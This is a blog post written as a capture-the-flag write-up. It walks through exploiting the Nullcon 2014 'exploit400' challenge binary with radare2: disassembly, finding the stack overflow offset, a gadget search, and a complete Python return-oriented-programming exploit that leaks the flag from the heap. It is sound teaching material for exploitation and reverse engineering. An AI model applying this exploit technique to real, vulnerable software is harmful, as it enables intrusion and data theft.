Title: Pwning exploit400 from the Nullcon 2014 CTF with radare2
Date: 2015-08-31 21:30

Since I *<span title="This morning, I screwed an interview because
I though that it was in the afternoon (Being awaken by
the interviewer isn't a geat start.) instead of the morning,
and since I was super-shitfaced, I didn't even managed
to correctly write a working decrementing for loop in C.">
screwed a phone interview today</span>*, I'll write a blogpost
about the second challenge from the
[(small) workshop]({filename}/ctf/sushi_pwning_with_r2.md) that I held
some time ago, instead of moping :)

The challenge is a binary from the CTF held during 
[Nullcon 2014]( http://nullcon.net/website/archives/goa-2014.php ),
namely [exploit400]({static}/files/exploit400_a25da17a867e51fd0a01f8122396246e).

```python
$ r2 -A ./exploit400
 -- When you sold that exploit, what they really bought, was your silence.
[0x08048460]> i~nx
nx       true
[0x08048460]> i~pic
pic      false
[0x08048460]> i~canary
canary   false
[0x08048460]> i~format
format   elf
[0x08048460]>
```

An `x86` binary, with the NX bit, lets disassemble it:

```nasm
[0x08048514]> pdf @ main
╒ (fcn) sym.main 407
│          ; var int local_3      @ ebp-0xc
│          ; DATA XREF from 0x08048477 (sym.main)
│          ;-- main:
│          0x08048514    55             push ebp
│          0x08048515    89e5           mov ebp, esp
│          0x08048517    57             push edi
│          0x08048518    56             push esi
│          0x08048519    53             push ebx
│          0x0804851a    83e4f0         and esp, 0xfffffff0
│          0x0804851d    83ec70         sub esp, 0x70
│          0x08048520    c70424400000.  mov dword [esp], 0x40
│          0x08048527    e8c4feffff     call sym.imp.malloc
│          0x0804852c    8944246c       mov dword [esp + 0x6c], eax
│          0x08048530    837c246c00     cmp dword [esp + 0x6c], 0
│      ┌─< 0x08048535    7548           jne 0x804857f
│      │   0x08048537    a1f4990408     mov eax, dword [obj.malloc_error] ; str.Memory_allocation_failed__n LEA obj.malloc_error
│      │   0x0804853c    c744241cffff.  mov dword [esp + 0x1c], 0xffffffff
│      │   0x08048544    89c2           mov edx, eax
│      │   0x08048546    b800000000     mov eax, 0
│      │   0x0804854b    8b4c241c       mov ecx, dword [esp + 0x1c]
│      │   0x0804854f    89d7           mov edi, edx
│      │   0x08048551    f2ae           repne scasb al, byte es:[edi]
│      │   0x08048553    89c8           mov eax, ecx
│      │   0x08048555    f7d0           not eax
│      │   0x08048557    8d50ff         lea edx, [eax - 1]
│      │   0x0804855a    a1f4990408     mov eax, dword [obj.malloc_error] ; str.Memory_allocation_failed__n LEA obj.malloc_error
│      │   0x0804855f    89542408       mov dword [esp + 8], edx
│      │   0x08048563    89442404       mov dword [esp + 4], eax
│      │   0x08048567    c70424010000.  mov dword [esp], 1
│      │   0x0804856e    e8cdfeffff     call sym.imp.write
│      │   0x08048573    c70424010000.  mov dword [esp], 1
│      │   0x0804857a    e891feffff     call sym.imp.exit
│      └   ; JMP XREF from 0x08048535 (sym.main)
│      └─> 0x0804857f    c74424040000.  mov dword [esp + 4], 0
│          0x08048587    c70424c78704.  mov dword [esp], str.._flag    ;  str.._flag ; "./flag" @ 0x80487c7
│          0x0804858e    e88dfeffff     call sym.imp.open
│          0x08048593    89442468       mov dword [esp + 0x68], eax
│          0x08048597    837c246800     cmp dword [esp + 0x68], 0
│     ┌──< 0x0804859c    7948           jns 0x80485e6
│     │    0x0804859e    a1f8990408     mov eax, dword [obj.file_error] ; str.Opening_flag_failed__n
│     │    0x080485a3    c744241cffff.  mov dword [esp + 0x1c], 0xffffffff
│     │    0x080485ab    89c2           mov edx, eax
│     │    0x080485ad    b800000000     mov eax, 0
│     │    0x080485b2    8b4c241c       mov ecx, dword [esp + 0x1c]
│     │    0x080485b6    89d7           mov edi, edx
│     │    0x080485b8    f2ae           repne scasb al, byte es:[edi]
│     │    0x080485ba    89c8           mov eax, ecx
│     │    0x080485bc    f7d0           not eax
│     │    0x080485be    8d50ff         lea edx, [eax - 1]
│     │    0x080485c1    a1f8990408     mov eax, dword [obj.file_error] ; str.Opening_flag_failed__n
│     │    0x080485c6    89542408       mov dword [esp + 8], edx
│     │    0x080485ca    89442404       mov dword [esp + 4], eax
│     │    0x080485ce    c70424010000.  mov dword [esp], 1
│     │    0x080485d5    e866feffff     call sym.imp.write
│     │    0x080485da    c70424010000.  mov dword [esp], 1
│     │    0x080485e1    e82afeffff     call sym.imp.exit
│     └    ; JMP XREF from 0x0804859c (sym.main)
│     └──> 0x080485e6    e8f5fdffff     call sym.imp.getuid
│          0x080485eb    89c6           mov esi, eax
│          0x080485ed    e8eefdffff     call sym.imp.getuid
│          0x080485f2    89c3           mov ebx, eax
│          0x080485f4    e8e7fdffff     call sym.imp.getuid
│          0x080485f9    89742408       mov dword [esp + 8], esi
│          0x080485fd    895c2404       mov dword [esp + 4], ebx
│          0x08048601    890424         mov dword [esp], eax
│          0x08048604    e8b7fdffff     call sym.imp.setresuid
│          0x08048609    85c0           test eax, eax
│    ┌───< 0x0804860b    790c           jns 0x8048619
│    │     0x0804860d    c70424010000.  mov dword [esp], 1
│    │     0x08048614    e8f7fdffff     call sym.imp.exit
│    └     ; JMP XREF from 0x0804860b (sym.main)
│    └───> 0x08048619    c74424083f00.  mov dword [esp + 8], 0x3f
│          0x08048621    8b44246c       mov eax, dword [esp + 0x6c]
│          0x08048625    89442404       mov dword [esp + 4], eax
│          0x08048629    8b442468       mov eax, dword [esp + 0x68]
│          0x0804862d    890424         mov dword [esp], eax
│          0x08048630    e89bfdffff     call sym.imp.read
│          0x08048635    8b442468       mov eax, dword [esp + 0x68]
│          0x08048639    890424         mov dword [esp], eax
│          0x0804863c    e80ffeffff     call sym.imp.close
│          0x08048641    a1fc990408     mov eax, dword [obj.pwn]       ; str.Good_Enough__Pwn_Me__n
│          0x08048646    c744241cffff.  mov dword [esp + 0x1c], 0xffffffff
│          0x0804864e    89c2           mov edx, eax
│          0x08048650    b800000000     mov eax, 0
│          0x08048655    8b4c241c       mov ecx, dword [esp + 0x1c]
│          0x08048659    89d7           mov edi, edx
│          0x0804865b    f2ae           repne scasb al, byte es:[edi]
│          0x0804865d    89c8           mov eax, ecx
│          0x0804865f    f7d0           not eax
│          0x08048661    8d50ff         lea edx, [eax - 1]
│          0x08048664    a1fc990408     mov eax, dword [obj.pwn]       ; str.Good_Enough__Pwn_Me__n
│          0x08048669    89542408       mov dword [esp + 8], edx
│          0x0804866d    89442404       mov dword [esp + 4], eax
│          0x08048671    c70424010000.  mov dword [esp], 1
│          0x08048678    e8c3fdffff     call sym.imp.write
│          0x0804867d    c74424080008.  mov dword [esp + 8], 0x800
│          0x08048685    8d442428       lea eax, [esp + 0x28]
│          0x08048689    89442404       mov dword [esp + 4], eax
│          0x0804868d    c70424000000.  mov dword [esp], 0
│          0x08048694    e837fdffff     call sym.imp.read
│          0x08048699    31c0           xor eax, eax
│          0x0804869b    31db           xor ebx, ebx
│          0x0804869d    31c9           xor ecx, ecx
│          0x0804869f    31f6           xor esi, esi
│          0x080486a1    31ff           xor edi, edi
│          0x080486a3    8d65f4         lea esp, [ebp-local_3]
│          0x080486a6    5b             pop ebx
│          0x080486a7    5e             pop esi
│          0x080486a8    5f             pop edi
│          0x080486a9    5d             pop ebp
╘          0x080486aa    c3             ret
[0x08048514]>
```

So, the binary is:

1. Allocating some space on the heap (offset 0x08048527).
2. Opening a file called `./flag` (offset 0x0804858e).
3. Dropping its permissions (offset 0x08048604).
4. Writing the content of the aforementioned file on the previously allocated space on the heap (offset 0x08048630).
4. Closing the file descriptor (offset 0x0804863c).
5. Writing a message to the user (offset 0x08048678).
6. Reading some input on the stack, in a fixed-size buffer, with `read` (offset 0x08048694)

A classic stack-based buffer-overflow, the twist being that even if we drop a shell,
we won't be able to read the file containing the flag; so all we have to do instead,
is to read it directly from the heap!

How many bytes until we overwrite the return address?

```nasm
$ ragg2 -P 128 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAZAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqA%
$ r2 -d ./exploit400
Process with PID 22503 started...
Attached debugger to pid = 22503, tid = 22503
Debugging pid = 22503, tid = 22503 now
Using BADDR 0x8048000
Assuming filepath ./exploit400
bits 32
Attached debugger to pid = 22503, tid = 22503
[0xf76fba90]> dc
Good Enough? Pwn Me!
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAZAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqA%
[+] SIGNAL 11 errno=0 addr=0x41694141 code=1 ret=0
Debugging pid = 22503, tid = 1 now
[+] signal 11 aka SIGSEGV received 0
[0x41694141]> dr=
 eip 0x41694141    oeax 0xffffffff     eax 0x00000000     ebx 0x64414163
 ecx 0x00000000     edx 0x00000800     esp 0xffb952c0     ebp 0x68414167
 esi 0x41654141     edi 0x41416641     eflags = 1PZIV
[0x41694141]> woO eip
100
[0x41694141]>
```

How can we know at which address the flag is stored? Remember that
system-wide ASLR not only randomize the stack position, but also the heap.

At first, I wanted to decrease `esp` until I could move it into
some register, and output it with `write`, but I didn't manage
to find the right gadget to do that.

So, instead, I'll call `malloc` to get an offset, add the right padding,
then print the result with `write`. The ASLR only add a random offset
at the beginning of the program, and it's not changing at runtime;
this applies to the stack, but also the heap, at least on my machine,
so I guess that it does the same on the remote one.

If we look carefully at the main function, we can see this *gadget*:

```nasm
mov dword [esp + 8], edx  ; strlen
mov dword [esp + 4], eax  ; string to print
mov dword [esp], 1		  ; file descriptor
call sym.imp.write
```

Despite not ending with a `ret` instruction, it's still a gadget ;)
I'm wondering what is the value of `edx` at the end of the `main` function…

```nasm
$ r2 -A -d ./exploit400
Process with PID 29591 started...
Attached debugger to pid = 29591, tid = 29591
Debugging pid = 29591, tid = 29591 now
Using BADDR 0x8048000
Assuming filepath ./exploit400
bits 32
Attached debugger to pid = 29591, tid = 29591
 -- Welcome to IDA 10.0.
[0x08048460]> afi main~size
 size: 407
[0xf7766a90]> db main + 406
[0xf77bfa90]> dc
Good Enough? Pwn Me!
POUET
hit breakpoint at: 80486aa
Debugging pid = 29874, tid = 1 now
[0x080486aa]> dr edx
0x00000800
```

It's non-null, and it's a reasonably big number: `0x800`.

So, the plan is to:

1. Call `malloc` to get an address from the heap.
2. Subtract the right offset to make `eax` point to the beginning of our flag.
3. Call our `write` gadget to get the flag.

The question being, how to compute the offset?
I modified my *work-in-progress* exploit to output the payload
on `stdout` instead of on a socket, and:

```bash
$ cat exploit.py
import struct

def rop(*args):
    return struct.pack('I'*len(args), *args)

mallocplt = 0x080483f0
popret = 0x080483a0

print('A' * 100 +
		rop(
			mallocplt,
			popret,
			1337,

			0xcccccccc,
        )
	)

$ python exploit.py > input
$ cat profile.r2
#!/usr/bin/rarun2
program=./exploit400
stdin=input
$ r2 -d ./exploit400 -e dbg.profile=./profile.r2
Process with PID 30395 started...
Attached debugger to pid = 30395, tid = 30395
Debugging pid = 30395, tid = 30395 now
Using BADDR 0x8048000
Assuming filepath ./exploit400
bits 32
Attached debugger to pid = 30395, tid = 30395
 -- Ask not what r2 can do for you - ask what you can do for r2
[0xf7760a90]> dc
Good Enough? Pwn Me!
[+] SIGNAL 11 errno=0 addr=0xcccccccc code=1 ret=0
Debugging pid = 30395, tid = 1 now
[+] signal 11 aka SIGSEGV received 0
[0xcccccccc]> dm
sys   4K 0x08048000 - 0x08049000 s -r-x /home/jvoisin/dev/r2/exploit/exploit400/exploit400
sys   4K 0x08049000 - 0x0804a000 s -rw- /home/jvoisin/dev/r2/exploit/exploit400/exploit400
sys 132K 0x09e02000 - 0x09e23000 s -rw- [heap]
sys   4K 0xf757b000 - 0xf757c000 s -rw- unk0
sys 1.7M 0xf757c000 - 0xf7730000 s -r-x /lib/i386-linux-gnu/libc-2.21.so
sys  12K 0xf7730000 - 0xf7733000 s -r-- /lib/i386-linux-gnu/libc-2.21.so
sys   8K 0xf7733000 - 0xf7735000 s -rw- /lib/i386-linux-gnu/libc-2.21.so
sys   8K 0xf7735000 - 0xf7737000 s -rw- unk1
sys   8K 0xf775b000 - 0xf775d000 s -rw- unk2
sys   8K 0xf775d000 - 0xf775f000 s -r-- [vvar]
sys   4K 0xf775f000 - 0xf7760000 s -r-x [vdso]
sys 136K 0xf7760000 - 0xf7782000 s -r-x /lib/i386-linux-gnu/ld-2.21.so
sys   4K 0xf7782000 - 0xf7783000 s -r-- /lib/i386-linux-gnu/ld-2.21.so
sys   4K 0xf7783000 - 0xf7784000 s -rw- /lib/i386-linux-gnu/ld-2.21.so
sys 132K 0xffd95000 - 0xffdb6000 s -rw- [stack]
[0xcccccccc]> e search.from = 0x09e02000
[0xcccccccc]> e search.to = 0x09e23000
[0xcccccccc]> / flag
Searching 4 bytes from 0x09e02000 to 0x09e23000: 66 6c 61 67
# 30395 [0x9e02000-0x9e23000]
hits: 1
0x09e02008 hit0_0 "flag"
[0xcccccccc]> dr eax
0x09e02050
[0xcccccccc]> ?v eax - hit0_0
0x48
[0xcccccccc]>
```

How do we subtract `0x48` from `eax`?

```nasm
[0x08048460]> /R sub eax
[0x08048460]> /R sub al
  0x080486ed           2c24  sub al, 0x24
  0x080486ef       89442408  mov dword [esp + 8], eax
  0x080486f3       8b442434  mov eax, dword [esp + 0x34]
  0x080486f7       89442404  mov dword [esp + 4], eax
  0x080486fb ff94b320ffffff  call dword [ebx + esi*4 - 0xe0]
```

Err, this seems convoluted. I'm quite sure there are other instructions
than `sub` to do a subtraction on `x86`.

```nasm
$ git grep -c subtract libr/asm/d/x86
26
$ r2 ./ exploit400
 -- Microloft Visual Radare.NET 2008. Now OOXML Powered!
[0x08048460]> /R sbb eax
[0x08048460]> /R sbb al
  0x080486c1           1c8b  sbb al, 0x8b
  0x080486c3             6c  insb byte es:[edi], dx
  0x080486c4           2430  and al, 0x30
  0x080486c6   8dbb20ffffff  lea edi, [ebx - 0xe0]
  0x080486cc     e8a3fcffff  call 0x8048374

  0x0804870b           1c5b  sbb al, 0x5b
  0x0804870d             5e  pop esi
  0x0804870e             5f  pop edi
  0x0804870f             5d  pop ebp
  0x08048710             c3  ret

  0x08048723           1c24  sbb al, 0x24
  0x08048725             c3  ret

[0x08048460]> 
```

Marvellous, two times `0x24` equals `0x48`!  

So, we've got almost everything we need, except the address of `malloc`
in the PLT, and a `pop ret` gadget, lets fix this:

```nasm
[0x08048460]> ?v sym.imp.malloc  # malloc@plt
0x80483f0
[0x08048460]> e rop.len =2
[0x08048460]> /Rl pop
0x080483a0: pop ebx; ret;
0x080484e3: pop ebp; ret;
0x080486a9: pop ebp; ret;
0x0804870f: pop ebp; ret;
0x08048758: pop ebp; ret;
0x08048774: pop ebx; ret;
[0x08048460]>
```

We now have everything required to write a working exploit:

```python
import socket
import struct

def rop(*args):
    return struct.pack('I'*len(args), *args)

mallocplt = 0x080483f0
popret = 0x08048774
subal24 = 0x08048723
print_flag = 0x08048669

s = socket.create_connection(('127.0.0.1', 4444))

payload = 'A' * 100

payload += rop(
        mallocplt,
        popret,
        1337,

        subal24,
        subal24,

        print_flag,
        )


s.recv(1024)
s.send(payload)
print s.recv(1024)
```
